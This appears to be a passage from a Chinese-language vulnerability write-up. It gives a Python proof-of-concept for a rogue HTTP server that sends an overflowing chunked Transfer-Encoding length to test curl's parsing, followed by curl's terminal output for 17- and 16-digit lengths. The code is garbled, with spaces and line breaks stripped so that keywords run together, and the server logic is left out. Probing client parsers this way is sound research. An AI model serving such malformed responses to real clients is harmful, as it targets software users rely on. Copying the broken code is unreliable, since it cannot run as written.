#!/usr/bin/env python3importsocketimportthreadingdefcreate_test_response():overflow_chunk_size="7FFFFFFFFFFFFFFFF"html_content="<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>"response=("HTTP/1.1 200 OK\r\n""Transfer-Encoding: chunked\r\n""Content-Type: text/html\r\n""Connection: close\r\n""\r\n"f"{overflow_chunk_size}\r\n""VULNERABILITY_PROOF_DATA\r\n"f"{len(html_content):X}\r\n"f"{html_content}\r\n""0\r\n""\r\n")returnresponse.encode()# ... 服务器处理代码(完整实现见原文)
测试结果
使用17位十六进制值测试:
1
2
└─$ curl http://127.0.0.1:8080
curl: (56) chunk hex-length longer than 16
使用16位十六进制值测试:
1
2
3
4
5
6
└─$ curl http://127.0.0.1:8080
VULNERABILITY_PROOF_DATA
64
<html><body><h1>Overflow Test Page</h1><p>If you see this, curl continued reading.</p></body></html>
0
curl: (18) transfer closed with outstanding read data remaining